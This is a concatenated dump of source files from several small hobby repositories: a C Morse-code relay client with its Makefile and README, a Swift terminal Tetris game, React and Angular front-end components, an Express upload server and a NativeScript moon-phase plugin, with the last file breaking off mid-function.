rx_data_packet.id);\n\t\t\tprintf(\"sequence no.: %i\\n\", rx_data_packet.sequence);\n\t\t\tprintf(\"version: %s\\n\", rx_data_packet.status);\n\t\t\tprintf(\"n: %i\\n\", rx_data_packet.n);\n\t\t\tprintf(\"code:\\n\");\n\t\t\tfor(i = 0; i < SIZE_CODE; i++)printf(\"%i \", rx_data_packet.code[i]); printf(\"\\n\");\n\t\t#endif\n\t\t\tif(rx_data_packet.n > 0 && rx_sequence != rx_data_packet.sequence){\n\t\t\t\tmessage(2);\n\t\t\t\tif(translate == 1){\n\t\t\t\t\tprintf(\"%s\", rx_data_packet.status);\n\t\t\t\t\tfflush(0);\n\t\t\t\t}\n\t\t\t\trx_sequence = rx_data_packet.sequence;\n\t\t\t\tfor(i = 0; i < rx_data_packet.n; i++){\n\t\t\t\t\tswitch(rx_data_packet.code[i]){\n\t\t\t\t\tcase 1:\n\t\t\t\t\t\tmessage(3);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase 2:\n\t\t\t\t\t\tmessage(4);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tif(audio_status == 1)\n\t\t\t\t\t\t{ \n\n\t\t\t\t\t\t\tint length = rx_data_packet.code[i];\n\t\t\t\t\t\t\tif(length == 0 || abs(length) > 2000) {\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif(length < 0) {\n\t\t\t\t\t\t\t\t\tbeep(0.0, abs(length)/1000.);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tbeep(1000.0, length/1000.);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\n\t\tif(tx_timer > 0) tx_timer--;\n\t\tif(tx_data_packet.n > 1 ){\n\t\t\ttx_sequence++;\n\t\t\ttx_data_packet.sequence = tx_sequence;\n\t\t\tfor(i = 0; i < 5; i++) send(fd_socket, &tx_data_packet, SIZE_DATA_PACKET, 0);\n\t\t#if DEBUG\t\t\n\t\t\tprintf(\"irmc: sent data packet.\\n\");\n\t\t#endif\n\t\t\ttx_data_packet.n = 0;\n\t\t}\n\t\tioctl(fd_serial,TIOCMGET, &serial_status);\n\t\tif(serial_status & TIOCM_DSR){\n\t\t\ttxloop();\n\t\t\ttx_timer = TX_WAIT;\n\t\t\tmessage(1);\n\t\t}\n\t\t\n\t\tif(keepalive_t < 0 && tx_timer == 0){\n\t\t#if DEBUG\n\t\t\tprintf(\"keep alive sent.\\n\");\n\t\t#endif\n\t\t\tidentifyclient();\n\t\t\tkeepalive_t = KEEPALIVE_CYCLE;\n\t\t}\n\t\tif(tx_timer == 0) {\n\t\t\tkeepalive_t--;\n\t\t\tusleep(50);\t\n\t\t}\t\t\n\n\t\tif(kbhit() && tx_timer == 0){\n\t\t\tgetchar(); /* flush the buffer */\n\t\t\tif(commandmode()== 1)break;\n\t\t}\n\t} /* End of mainloop */\n\n\tsend(fd_socket, &disconnect_packet, SIZE_COMMAND_PACKET, 0);\t\n\tclose(fd_socket);\n\tclose(fd_serial);\n\n\texit(0); \n}\n\n/src/Makefile\nSRC = irmc.c cwprotocol.c\nOBJ = ${SRC:.c=.o}\nLDFLAGS = -L/usr/local/lib -L/opt/local/lib -lm -lmorse\nCFLAGS = -I/usr/local/include -I/opt/local/include -Wall \nINSTALLDIR = ${HOME}/bin\n\nall: options irmc \n\noptions:\n\t@echo irmc build options:\n\t@echo \"CFLAGS = ${CFLAGS}\"\n\t@echo \"LDFLAGS = ${LDFLAGS}\"\n\t@echo \"CC = ${CC}\"\n\t@echo \"INSTALLDIR = ${INSTALLDIR}\"\n\n.c.o:\n\t@echo CC $<\n\t@${CC} -c ${CFLAGS} $<\n\nirmc: ${OBJ}\n\t@echo CC -o $@\n\t@${CC} -o $@ ${OBJ} ${LDFLAGS}\n\njava:\n\tjava -jar test/MorseKOB.jar \n\nclean:\n\t@echo cleaning\n\t@rm -f irmc irmc.core ${OBJ} \ninstall: irmc\n\tcp irmc ${INSTALLDIR}\n/README.md\nirmc - Internet Relay Morse Code\n================================\nIRMC stands for Internet Relay Morse Code and is an implementation of [MOIP](http://8ch9azbsfifz.github.io/moip/).\n\n# How to build?\n## Install dependency: morse keyer library\n```\nwget https://github.com/8cH9azbsFifZ/morse/archive/v0.1.tar.gz\ntar xzf v0.1.tar.gz\ncd morse-0.1\nlibtoolize\n./autogen.sh\n./configure --with-portaudio\nmake\nsudo make install\n```\n\n## Debian (Wheezy)\nSome dependencies have to be installed:\n```\napt-get install -y alsa-oss oss-compat build-essential autoconf libao-dev libtool\n```\nAfterwards compilation with `make` should work. If something went wrong, you may have\nto adjust your `LD_LIBRARY_PATH`. Alternatively try:\n```\nLD_LIBRARY_PATH=/usr/local/lib ./irmc mtc-kob.dyndns.org 7890 33 123 \n```\n\n## OSX (Yosemite)\nCompilation with make :)\n\nFor the USB serial devices you need a PL2303 driver \n(i.e. [PL2303_Serial-USB_on_OSX_Lion.pkg](http://changux.co/osx-installer-to-pl2303-serial-usb-on-osx-lio/)).\n\n# Hardware interface options\nA good description on how to build different interfaces (telegraph key, sounder or both) \nis given on the [MorseKOB Website](http://kob.sdf.org/morsekob/interface.htm). \nLandline telegraphs use \"closed circuits\" for communications; if you have built one at home, \nyou may also use the [loop interface](http://kob.sdf.org/morsekob/docs/loopinterface.pdf).\n\nConnection of a morse key:\n[layout of pins](http://techpubs.sgi.com/library/dynaweb_docs/0650/SGI_Admin/books/MUX_IG/sgi_html/figures/4-2.serial.port.con.gif)\n\n| RS232 | DB9 | Function | \n| :-------- |:-------| :------ | \n| DTR | 4 | Manual Key / paddle common|\n| DSR | 6 | Manual key / dot paddle|\n| CTS | 8 | Dash paddle|\n| RTS | 7 | Sounder output|\n| SG | 5 | Sounder ground|\n\n\n# Changelog\n* v0.3 [zip](https://github.com/8cH9azbsFifZ/irmc/archive/v0.3.zip) - commandline option cleanup\n* v0.2 [zip](https://github.com/8cH9azbsFifZ/irmc/archive/v0.2.zip) - ported to debian wheezy and osx yosemite, DG6FL\n* v0.1 [zip](https://github.com/8cH9azbsFifZ/irmc/archive/v0.1.zip) - original version, VE7FEB\n\nCode Quality\n============\nThis is experimental code.\n"},"directory_id":{"kind":"string","value":"40a2da39169fc87da72c0450563bd020c1dc0a56"},"languages":{"kind":"list like","value":["Markdown","C","Makefile"],"string":"[\n \"Markdown\",\n \"C\",\n \"Makefile\"\n]"},"num_files":{"kind":"number","value":4,"string":"4"},"repo_language":{"kind":"string","value":"C"},"repo_name":{"kind":"string","value":"mstramb/irmc"},"revision_id":{"kind":"string","value":"c464cc7dcb4671b1ec52ac274b37c1e2dc447ef4"},"snapshot_id":{"kind":"string","value":"5c3c2ff7ded0200fa865ca67b972c6806343afc1"}}},{"rowIdx":138,"cells":{"branch_name":{"kind":"string","value":"refs/heads/master"},"text":{"kind":"string","value":"//\n// main.swift\n// tetrisCommandLine002\n//\n// Created by pair on 1/12/17.\n// Copyright © 2017 All rights reserved.\n//\n\nimport Foundation\n\nvar gameScreen = [[0,0,0,0,0,0,0,0,0,0],\n [0,0,0,0,0,0,0,0,0,0],\n [0,0,0,0,0,0,0,0,0,0],\n [0,0,0,0,0,0,0,0,0,0],\n [0,0,0,0,0,0,0,0,0,0],\n [0,0,0,0,0,0,0,0,0,0],\n [0,0,0,0,0,0,0,0,0,0],\n [0,0,0,0,0,0,0,0,0,0],\n [0,0,0,0,0,0,0,0,0,0],\n [0,0,0,0,0,0,0,0,0,0],\n [0,0,0,0,0,0,0,0,0,0],\n [0,0,0,0,0,0,0,0,0,0],\n [0,0,0,0,0,0,0,0,0,0],\n [0,0,0,0,0,0,0,0,0,0],\n [0,0,0,0,0,0,0,0,0,0],\n [0,0,0,0,0,0,0,0,0,0],\n [0,0,0,0,0,0,0,0,0,0],\n [0,0,0,0,0,0,0,0,0,0],\n [0,0,0,0,0,0,0,0,0,0],\n [0,0,0,0,0,0,0,0,0,0]]\n\nlet l = [[0,1,0,0,0],\n [0,1,0,0,0],\n [0,1,1,0,0],\n [0,0,0,0,0],\n [0,0,0,0,0]]\n\nlet l2 = [[0,0,1,0,0],\n [0,0,1,0,0],\n [0,1,1,0,0],\n [0,0,0,0,0],\n [0,0,0,0,0]]\n\nlet i = [[0,1,0,0,0],\n [0,1,0,0,0],\n [0,1,0,0,0],\n [0,1,0,0,0],\n [0,0,0,0,0]]\n\nlet t = [[0,0,0,0,0],\n [0,1,1,1,0],\n [0,0,1,0,0],\n [0,0,0,0,0],\n [0,0,0,0,0]]\n\nlet s = [[0,1,0,0,0],\n [0,1,1,0,0],\n [0,0,1,0,0],\n [0,0,0,0,0],\n [0,0,0,0,0]]\n\nlet z = [[0,0,1,0,0],\n [0,1,1,0,0],\n [0,1,0,0,0],\n [0,0,0,0,0],\n [0,0,0,0,0]]\n\nlet o = [[0,1,1,0,0],\n [0,1,1,0,0],\n [0,0,0,0,0],\n [0,0,0,0,0],\n [0,0,0,0,0]]\n\nlet pieces: [[[Int]]] = [l, l2, i, t, s, z, o]\n\nvar time: Int = 0\n\nvar score: Int = 0\n\nvar level: Int = 1\n\nvar lines: Int = 0\n\nvar pieceOffset: (Int,Int) = (gameScreen[0].count / 2, 0)\n\nfunc displayStats() {\n \n print(\"FULL LINES: \" + String(lines))\n\n print(\"TIME: \" + String(time))\n \n print(\"LEVEL: \" + String(level))\n \n print(\"SCORE: \" + String(score))\n}\n\nfunc getRandomPieceFrom(pieces: [[[Int]]]) -> [[Int]]{\n \n let randomInt: Int = Int(arc4random_uniform(UInt32(pieces.count)))\n \n return pieces[randomInt]\n}\n\nvar currentPiece: [[Int]] = [[]]\n\nvar nextPiece: [[Int]] = [[]]\n\nfunc displayPiece(inputPiece: [[Int]]) {\n \n for height_index in 0...inputPiece.count - 1 {\n \n for width_index in 0...(inputPiece[0].count - 1) {\n \n if(inputPiece[height_index][width_index] == 0) {\n \n print(\" \", terminator:\"\")\n \n } else {\n \n print(\"[]\", terminator:\"\")\n }\n }\n \n print() // prints new line character\n }\n}\n\nfunc rotate(inputPiece: [[Int]]) -> [[Int]]{\n \n var returnPiece: [[Int]] = [[]]\n \n let lRotated = [[0,0,1,0,0],\n [1,1,1,0,0],\n [0,0,0,0,0],\n [0,0,0,0,0],\n [0,0,0,0,0]]\n \n let l2Rotated = [[0,1,0,0,0],\n [0,1,1,1,0],\n [0,0,0,0,0],\n [0,0,0,0,0],\n [0,0,0,0,0]]\n \n let iRotated = [[0,0,0,0,0],\n [1,1,1,1,0],\n [0,0,0,0,0],\n [0,0,0,0,0],\n [0,0,0,0,0]]\n \n let tRotated = [[0,0,1,0,0],\n [0,0,1,1,0],\n [0,0,1,0,0],\n [0,0,0,0,0],\n [0,0,0,0,0]]\n \n let sRotated = [[0,0,1,1,0],\n [0,1,1,0,0],\n [0,0,0,0,0],\n [0,0,0,0,0],\n [0,0,0,0,0]]\n \n let zRotated = [[1,1,0,0,0],\n [0,1,1,0,0],\n [0,0,0,0,0],\n [0,0,0,0,0],\n [0,0,0,0,0]]\n \n let oRotated = [[0,1,1,0,0],\n [0,1,1,0,0],\n [0,0,0,0,0],\n [0,0,0,0,0],\n [0,0,0,0,0]]\n \n// if(inputPiece == l2Rotated) {\n// \n// if(inputPiece == l) {\n// returnPiece = l\n// } else if(inputPiece == l) {\n// returnPiece = l\n// }\n \n return returnPiece\n \n} // UNIPLEMENTED\n\nfunc getvalueAtCoords(x: Int, y: Int, inputArray: [[Int]]) -> Int {\n \n return inputArray[y][x]\n}\n\nfunc setValueAtCoords(x: Int, y: Int, inputArray: [[Int]], inputValue: Int) -> [[Int]] {\n var returnArray: [[Int]] = inputArray\n returnArray[x][y] = inputValue\n return returnArray\n}\n\nfunc printGameScreen() {\n for height_index in 0...gameScreen.count - 1 {\n \n // print sides of game screen\n if(height_index == 0 || height_index < gameScreen.count) {\n\n print(\"\", terminator:\"\")\n }\n \n print() // prints new line character\n \n // print sides of game screen\n if(height_index == 19 ) {\n \n print(\"\")\n \n print(\" \\\\/\\\\/\\\\/\\\\/\\\\/\\\\/\\\\/\\\\/\\\\/\\\\/\")\n }\n }\n}\n\nfunc showPieceOn(screen: [[Int]], piece: [[Int]]) -> [[Int]] {\n \n var returnScreen = screen\n \n for height_index in 0...l.count - 1 {\n \n for width_index in 0...l[0].count - 1 {\n \n if(getvalueAtCoords(x: width_index, y: height_index, inputArray: piece) == 1) {\n \n if((height_index + pieceOffset.1 < gameScreen.count - 1) &&\n (width_index + pieceOffset.0 < gameScreen[0].count - 1)) {\n\n returnScreen[height_index + pieceOffset.1][width_index + pieceOffset.0] = 1\n \n }\n }\n }\n }\n \n return returnScreen\n}\n\nfunc addPieceTo(screen: [[Int]]) -> [[Int]]{\n \n var returnScreen = screen\n \n for height_index in 0...l.count - 1 {\n \n for width_index in 0...l[0].count - 1 {\n \n if(getvalueAtCoords(x: width_index, y: height_index, inputArray: currentPiece) == 1) {\n \n returnScreen[height_index + pieceOffset.1][width_index + pieceOffset.0] = 1\n }\n }\n }\n \n return returnScreen\n}\n\nfunc moveDown(piece: [[Int]]) {\n \n if(pieceOffset.1 < gameScreen.count - 3) { // watches for bottom row collision\n \n pieceOffset.1 = pieceOffset.1 + 1\n \n gameScreen = showPieceOn(screen: gameScreen, piece: currentPiece)\n \n } else {\n \n gameScreen = addPieceTo(screen: gameScreen)\n \n currentPiece = nextPiece\n \n nextPiece = getRandomPieceFrom(pieces: pieces)\n \n pieceOffset.1 = 0\n \n pieceOffset.0 = gameScreen[0].count / 2\n }\n}\n\n// Clears the console (refreshes view)\n\nfunc clearDaConsole() {\n \n // Creates Apple Script to clear the console\n let scriptText = \"tell application \\\"Xcode\\\"\\n activate\\n tell application \\\"System Events\\\"\\n keystroke \\\"k\\\" using command down\\n end tell\\n end tell \"\n \n let clearScript: NSAppleScript = NSAppleScript(source: scriptText)!\n \n var error: NSDictionary?\n \n clearScript.executeAndReturnError(&error)\n \n}\n\nfunc testClearConsole() {\n print(\"This message will self destruct in 4 seconds\")\n sleep(4)\n clearDaConsole()\n print(\"MORE STUFF TO CLEAR\")\n sleep(4)\n CPlusWrapper().daClearScreenWrapped()\n print(\"MORE STUFF WAS CLEARED...Now to clear this a different way\")\n sleep(4)\n sleep(4)\n CPlusWrapper().daClearScreen2Wrapped()\n print(\"MORE STUFF WAS CLEARED AGAIN\")\n sleep(4)\n}\n\nfunc runGameLoop() {\n \n while(true) {\n \n // Moves piece down\n moveDown(piece: currentPiece)\n \n displayStats()\n \n print(\"NEXT PIECE: \")\n \n displayPiece(inputPiece: nextPiece)\n \n // Prints updated screen\n printGameScreen()\n \n // Waits for a second\n sleep(1)\n \n // Updates time\n time = time + 1\n \n // Clears the screen\n //clearDaConsole() // XCODE console cuts off output (varies)\n CPlusWrapper().daClearScreenWrapped() // CONSOLE APP\n }\n}\n\n\n// Run\n\ncurrentPiece = getRandomPieceFrom(pieces: pieces)\nnextPiece = getRandomPieceFrom(pieces: pieces)\nrunGameLoop()\n\n\n\n\n\n"},"directory_id":{"kind":"string","value":"37c27bb0647a574f18e16038a68dd1b538d7155e"},"languages":{"kind":"list like","value":["Swift"],"string":"[\n \"Swift\"\n]"},"num_files":{"kind":"number","value":1,"string":"1"},"repo_language":{"kind":"string","value":"Swift"},"repo_name":{"kind":"string","value":"davidkneely/tetrisCommandLine002"},"revision_id":{"kind":"string","value":"dc72ddae6b65b944a95122a9dd19fe665ef02319"},"snapshot_id":{"kind":"string","value":"6f2fd8e5e9ad725893f387cee232b01f0a303b1b"}}},{"rowIdx":139,"cells":{"branch_name":{"kind":"string","value":"refs/heads/master"},"text":{"kind":"string","value":"import React, { Component } from 'react';\n\nclass Searchbox extends Component {\n constructor(props) {\n super(props);\n this.state = {\n text: '',\n cities: {}\n }\n this.handleChange = this.handleChange.bind(this);\n this.handleSubmit = this.handleSubmit.bind(this);\n }\n handleChange(event) {\n this.setState({text: event.target.value});\n }\n handleSubmit(event) {\n alert('submitted: ' + this.state.text);\n event.preventDefault();\n // NEXT REDIRECT TO SEARCH\n }\n render() {\n return (\n
\n
\n
\n
\n \n
\n \n
\n
\n
\n
\n
\n );\n }\n}\n\nexport default Searchbox;\nimport React, { Component } from 'react';\n\nimport Searchbox from \"./Searchbox\";\nimport Weather from \"./Weather\";\n\nclass Home extends Component {\n constructor(props) {\n super(props);\n this.state = {\n keyword: \"\",\n cities: [\n { woeid: 2344116, name: 'Istanbul' },\n { woeid: 638242, name: 'Berlin' },\n { woeid: 44418, name: 'London' },\n { woeid: 565346, name: 'Helsinki' },\n { woeid: 560743, name: 'Dublin' },\n { woeid: 9807, name: 'Vancouver' }\n ]\n };\n }\n render() {\n return (\n
\n
\n
\n \n
\n {this.state.cities.map((city, index) =>\n \n )}\n
\n
\n
\n
\n );\n }\n}\n\nexport default Home;# weather-react\nsimple weather app using reactjs\n"},"directory_id":{"kind":"string","value":"f6f6fa9cdc241bd589b6b33e0d910c9b07df628c"},"languages":{"kind":"list like","value":["JavaScript","Markdown"],"string":"[\n \"JavaScript\",\n \"Markdown\"\n]"},"num_files":{"kind":"number","value":3,"string":"3"},"repo_language":{"kind":"string","value":"JavaScript"},"repo_name":{"kind":"string","value":"vendera-hadi/weather-react"},"revision_id":{"kind":"string","value":"6cbefe9ee54ebfce2042894497d2ed5ccfc9f44b"},"snapshot_id":{"kind":"string","value":"fb995d308ea0116d694ece40921a4ef25b5e7c4f"}}},{"rowIdx":140,"cells":{"branch_name":{"kind":"string","value":"refs/heads/master"},"text":{"kind":"string","value":"spanningtime/file_upload/server.js\n/*Define dependencies.*/\n\nvar express = require('express');\nvar multer = require('multer');\nvar app = express();\nvar parseString = require('xml2js').parseString\nconst util = require('util');\n\n/*Configure the multer.*/\n\nvar upload = multer({ storage });\nvar storage = multer({inMemory: true})\n/*Handling routes.*/\n\napp.get('/', (req,res) => {\n res.sendFile(__dirname + \"/index.html\");\n});\n\napp.post('/upload', upload.single('songlist'), (req,res) => {\n const buf = req.file.buffer;\n const str = buf.toString('utf8')\n const tracksArray = [];\n parseString(str, (err, result) => {\n const tracks = result.plist.dict[0].dict[0].dict;\n for (track of tracks) {\n trackObj = {}\n trackObj.title = track.string[0];\n trackObj.artist = track.string[1];\n tracksArray.push(trackObj);\n }\n\n });\n\n res.status(204).end();\n});\n\n/*Run the server.*/\napp.listen(3000,function(){\n console.log(\"Working on port 3000\");\n});\n"},"directory_id":{"kind":"string","value":"1d5add46521662beec906d4cb7930cfbe4a29dd6"},"languages":{"kind":"list like","value":["JavaScript"],"string":"[\n \"JavaScript\"\n]"},"num_files":{"kind":"number","value":1,"string":"1"},"repo_language":{"kind":"string","value":"JavaScript"},"repo_name":{"kind":"string","value":"spanningtime/file_upload"},"revision_id":{"kind":"string","value":"0442612eff05a7c8c9bb9085987d8d136c63d04d"},"snapshot_id":{"kind":"string","value":"937788764a1125ad9aa6b4de13016a630d9cacfe"}}},{"rowIdx":141,"cells":{"branch_name":{"kind":"string","value":"refs/heads/master"},"text":{"kind":"string","value":"import {Component} from '@angular/core';\nimport {HttpClient} from \"@angular/common/http\";\n\n\n@Component({\n selector: 'app-root',\n templateUrl: './app.component.html',\n styleUrls: ['./app.component.css']\n})\nexport class AppComponent{\n //title = 'environmental based application search';\n private title;\n constructor(private http: HttpClient) {\n this.getData();\n }\n getData() {\n this.http\n .get('http://localhost:8080', {responseType: 'text'})\n .subscribe(data => {\n this.title = data;\n });\n }\n\n}\n"},"directory_id":{"kind":"string","value":"b7a896e5baef2e9c4587b03d4215d98ad1d9ad98"},"languages":{"kind":"list like","value":["TypeScript"],"string":"[\n \"TypeScript\"\n]"},"num_files":{"kind":"number","value":1,"string":"1"},"repo_language":{"kind":"string","value":"TypeScript"},"repo_name":{"kind":"string","value":"NillaSandeep/SearchTransformationFrontEnd"},"revision_id":{"kind":"string","value":"dac34bc3d457b975b90b8fa667c3e1ad6fa2ebe8"},"snapshot_id":{"kind":"string","value":"f721cf0983d1de4195f6952b4054f67f41d43476"}}},{"rowIdx":142,"cells":{"branch_name":{"kind":"string","value":"refs/heads/master"},"text":{"kind":"string","value":"rkhayyat/nativescript-moon-phase/moon-phase.android.ts\nimport { Common, MoonPhaseBase, Utils, dateProperty } from './moon-phase.common';\nimport {moonImage} from './moonImages';\n\nexport class Hijri extends Common {\n\n}\nexport class MoonPhase extends MoonPhaseBase {\n constructor() {\n super();\n \n }\n\n [dateProperty.setNative](value) {\n this.src = moonImage[Utils.getDay(value, 0)];\n this.width = 100;\n };\n\n}/language.d.ts\nexport declare const Arabic: {\n wdNames: string[];\n MonthNames: string[];\n};\nexport declare const English: {\n wdNames: string[];\n MonthNames: string[];\n};\n/README.md\n[![npm](https://img.shields.io/npm/v/nativescript-moon-phase.svg)](https://www.npmjs.com/package/nativescript-moon-phase)\n[![npm](https://img.shields.io/npm/dt/nativescript-moon-phase.svg?label=npm%20downloads)](https://www.npmjs.com/package/nativescript-moon-phase)\n[![twitter: @rakhayyat](https://img.shields.io/badge/twitter-%40rakhayyat-2F98C1.svg)](https://twitter.com/rakhayyat)\n\n[![NPM](https://nodei.co/npm/nativescript-moon-phase.png?downloads=true&downloadRank=true&stars=true)](https://nodei.co/npm/nativescript-moon-phase/)\n\n# Nativescript moon phase plugin\nThis plugin is a complementary to my previous one that converts from gregorian to hijri dates https://github.com/rkhayyat/nativescript-hijri\n\n# Nativescript-moon-phase\n\nMoon Phase plugin allows you show the moon phase for a given date. \n

\n \n

\n\n## Installation\n\n```javascript\ntns plugin add nativescript-moon-phase\n```\n\n## Usage \n\n## Typescript NativeScript\n\n### XML\n```xml\n\n \n \n \n \n \n \n\n```\n\n### main-view-model\n```typescript\nimport {Observable} from 'tns-core-modules/data/observable';\nimport {Hijri} from 'nativescript-moon-phase';\n\nexport class HelloWorldModel extends Observable {\npublic monthText : string;\npublic DateValue: Date;\n\n constructor(currentDate) {\n super();\n\n this.DateValue = currentDate;\n }\n}\n```\n### main-page\n```typescript\nimport * as observable from 'tns-core-modules/data/observable';\nimport * as pages from 'tns-core-modules/ui/page';\nimport { DatePicker } from \"tns-core-modules/ui/date-picker\";\nimport {HelloWorldModel} from './main-view-model';\nvar view = require(\"ui/core/view\");\nvar MainViewModel = require(\"./main-view-model\");\n\nlet page;\n\n// Event handler for Page 'loaded' event attached in main-page.xml\nexport function pageLoaded(args: observable.EventData) {\n page = args.object;\n page.bindingContext = new HelloWorldModel(new Date());\n}\n\nexports.see = function(args) {\n var sender = args.object;\n var parent = sender.parent;\n var year = view.getViewById(parent,\"date\").year;\n var month = view.getViewById(parent,\"date\").month\n var day = view.getViewById(parent,\"date\").day;\n var convertDate = new Date(year, month-1, day);\n page.bindingContext = new HelloWorldModel(convertDate);\n}\n```\n\n## API\n\n### Methods\n\n| Method | Return | Description |\n| --- | --- | --- |\n| `items` | `Date` | Date passed to show the corseponding moon phase image. |\n\n## NativeBaguette 🥖\n\n[\"<NAME\" src=\"https://avatars1.githubusercontent.com/u/10686043?v=3&s=400\" width=\"117\">](https://github.com/rkhayyat) |\n:---: |\n[rkhayyat](https://github.com/rkhayyat) |\n\n/index.d.ts\nimport { Common } from './moon-phase.common';\nexport declare class Hijri extends Common {\n constructor(date, shift); \n dayOfWeekText: string;\n dayOfWeek: string;\n dayOfMonth:number;\n month:number;\n monthText:string;\n year:number \n \n}\n\nexport declare interface islamicDateObject {\n dayOfWeekText: string;\n dayOfWeek: string;\n dayOfMonth:number;\n month:number;\n monthText:string;\n year:number \n}\n/moon-phase.common.ts\nimport { Observable } from 'data/observable';\nimport { Property } from \"tns-core-modules/ui/core/properties\";\nimport * as app from 'application';\nimport {Arabic, English} from './language';\nimport {HijriFunction} from './basecal';\nimport {Image} from 'tns-core-modules/ui/image';\n\n\nexport class Common extends Observable {\n public hijri_ar: islamicDateObject;\n public hijri_en: islamicDateObject;\n public getYear:number;\n public getMonth:number;\n public getDay:number;\n public getMonthName_Ar:string;\n public getDayName_Ar:string;\n public getMonthName_En:string;\n public getDayName_En:string;\n\n constructor(date, shift) {\n super();\n this.hijri_ar = Utils.Hijri_Date_AR(date, shift);\n this.hijri_en = Utils.Hijri_Date_EN(date, shift);\n this.getYear = Utils.getYear(date, shift);\n this.getMonth = Utils.getMonth(date, shift);\n this.getDay = Utils.getDay(date, shift);\n this.getMonthName_Ar = Utils.getMonthName_Ar(date, shift);\n this.getDayName_Ar = Utils.getDayName_Ar(date, shift);\n this.getMonthName_En = Utils.getMonthName_En(date, shift);\n this.getDayName_En = Utils.getDayName_En(date, shift);\n }\n}\n\n\n\nexport class Utils { \n public static getYear(date, shift):number{\n let _hijriFunction = new HijriFunction();\n let year:number = _hijriFunction.basecal(date, shift)[7];\n return year;\n }\n public static getMonth(date, shift):number{\n let _hijriFunction = new HijriFunction();\n let month:number = _hijriFunction.basecal(date, shift)[6]+1;\n return month;\n }\n public static getDay(date, shift):number{\n let _hijriFunction = new HijriFunction();\n let day:number = _hijriFunction.basecal(date, shift)[5];\n return day;\n }\n public static getMonthName_Ar(date, shift):string{\n let _hijriFunction = new HijriFunction();\n let monthName_Ar:string = Arabic.MonthNames[_hijriFunction.basecal(date, shift)[6]];\n return monthName_Ar;\n }\n public static getDayName_Ar(date, shift):string{\n let _hijriFunction = new HijriFunction();\n let dayName_Ar:string = Arabic.wdNames[_hijriFunction.basecal(date, shift)[4]];\n return dayName_Ar;\n }\n public static getMonthName_En(date, shift):string{\n let _hijriFunction = new HijriFunction();\n let monthName_En:string = English.MonthNames[_hijriFunction.basecal(date, shift)[6]];\n return monthName_En;\n }\n public static getDayName_En(date, shift):string{\n let _hijriFunction = new HijriFunction();\n let dayName_En:string = English.wdNames[_hijriFunction.basecal(date, shift)[4]];\n return dayName_En;\n }\n\n public static Hijri_Date_AR(date, shift): islamicDateObject {\n let _hijriFunction = new HijriFunction();\n let hijriDate:islamicDateObject;\n hijriDate = {\n\t\t dayOfWeekText:Arabic.wdNames[_hijriFunction.basecal(date, shift)[4]] ,\n\t\t dayOfWeek:_hijriFunction.basecal(date, shift)[4]+1,\n\t\t dayOfMonth:_hijriFunction.basecal(date, shift)[5],\n\t\t month:_hijriFunction.basecal(date, shift)[6]+1,\n\t\t monthText:Arabic.MonthNames[_hijriFunction.basecal(date, shift)[6]],\n\t\t year:_hijriFunction.basecal(date, shift)[7]\n };\n return hijriDate;\n }\n\n public static Hijri_Date_EN(date, shift): islamicDateObject {\n let hijriDate:islamicDateObject;\n let _hijriFunction = new HijriFunction();\n hijriDate = {\n\t\t dayOfWeekText:English.wdNames[_hijriFunction.basecal(date, shift)[4]] ,\n\t\t dayOfWeek:_hijriFunction.basecal(date, shift)[4]+1,\n\t\t dayOfMonth:_hijriFunction.basecal(date, shift)[5],\n\t\t month:_hijriFunction.basecal(date, shift)[6]+1,\n\t\t monthText:English.MonthNames[_hijriFunction.basecal(date, shift)[6]],\n\t\t year:_hijriFunction.basecal(date, shift)[7]\n };\n return hijriDate;\n }\n}\n\nexport class islamicDateObject {\n dayOfWeekText: string;\n dayOfWeek: number;\n dayOfMonth:number;\n month:number;\n monthText:string;\n year:number\n} \n\n\n\nexport class MoonPhaseBase extends Image {\n \n}\n\n\nexport const dateProperty = new Property({\n name: \"items\",\n equalityComparer: (a: any[], b: any[]) => !a && !b && a.length === b.length\n});\n\ndateProperty.register(MoonPhaseBase);/moonImages.d.ts\nexport declare const moonImage: string[];\n/demo/app/main-page.ts\nimport * as observable from 'tns-core-modules/data/observable';\nimport * as pages from 'tns-core-modules/ui/page';\nimport { DatePicker } from \"tns-core-modules/ui/date-picker\";\nimport {HelloWorldModel} from './main-view-model';\nvar view = require(\"ui/core/view\");\nvar MainViewModel = require(\"./main-view-model\");\n\nlet page;\n\n\n// Event handler for Page 'loaded' event attached in main-page.xml\nexport function pageLoaded(args: observable.EventData) {\n page = args.object;\n page.bindingContext = new HelloWorldModel(new Date());\n // Get the event sender\n}\n\nexport function onPickerLoaded(args) {\n let datePicker = args.object;\n datePicker.year = (new Date()).getFullYear();\n datePicker.month = (new Date()).getMonth() + 1;\n datePicker.day = (new Date()).getDate();\n datePicker.minDate = new Date(1975, 0, 29);\n datePicker.maxDate = new Date(2045, 4, 12);\n \n}\n\nexports.see = function(args) {\n var sender = args.object;\n var parent = sender.parent;\n var year = view.getViewById(parent,\"date\").year;\n var month = view.getViewById(parent,\"date\").month\n var day = view.getViewById(parent,\"date\").day;\n // this.DateValue = new Date(year, month-1, day);\n var convertDate = new Date(year, month-1, day);\n page.bindingContext = new HelloWorldModel(convertDate);\n}/basecal.ts\nexport class HijriFunction {\n basecal(date, adjust){\n var today = date;\n if(adjust) {\n var adjustmili = 1000*60*60*24*adjust;\n var todaymili = today.getTime()+adjustmili;\n today = new Date(todaymili);\n }\n var wd = date.getDay() + 1;\n \n var day = today.getDate();\n var month = today.getMonth();\n var year = today.getFullYear();\n var m = month+1;\n var y = year;\n if(m<3) {\n y -= 1;\n m += 12;\n }\n \n var a = Math.floor(y/100.0);\n var b = 2-a+Math.floor(a/4.0);\n if(y<1583) b = 0;\n if(y===1582) {\n if(m>10) b = -10;\n if(m===10) {\n b = 0;\n if(day>4) b = -10;\n }\n }\n \n var jd = Math.floor(365.25*(y+4716))+Math.floor(30.6001*(m+1))+day+b-1524;\n \n b = 0;\n if(jd>2299160){\n a = Math.floor((jd-1867216.25)/36524.25);\n b = 1+a-Math.floor(a/4.0);\n }\n var bb = jd+b+1524;\n var cc = 